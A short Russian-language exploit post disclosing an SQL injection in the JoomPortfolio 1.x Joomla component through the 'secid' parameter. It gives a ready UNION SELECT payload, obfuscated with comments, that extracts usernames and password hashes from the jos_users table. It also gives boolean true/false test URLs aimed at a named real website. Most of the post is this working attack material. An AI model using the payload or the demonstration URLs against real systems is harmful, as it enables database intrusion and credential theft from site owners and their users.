Программа: JoomPortfolio 1.x (component for Joomla)
Уязвимость позволяет удаленному пользователю выполнить произвольные SQL
команды в базе данных приложения. Уязвимость существует из-за недостаточной
обработки входных данных в параметре "secid" сценарием index.php (когда "option"
установлен в "com_joomportfolio" и "task" установлен в "showcat"). Удаленный
пользователь может с помощью специально сформированного запроса выполнить
произвольные SQL команды в базе данных приложения.
Эксплоит:
path/index.php?option=com_joomportfolio&Itemid=552&task=showcat&catid=1&secid=1/*
*/and/**/1=0/**/union/**/select/**/concat(username,0x3a,password),user()/**/from/**/jos_users/**/
Демонстрация:
TRUE(+)
http://www.kvalis.com/index.php?option=com_joomportfolio&Itemid=552&task=showcat&catid=1&secid=1
and 1=1
FALSE(-)
http://www.kvalis.com/index.php?option=com_joomportfolio&Itemid=552&task=showcat&catid=1&secid=1
and 1=0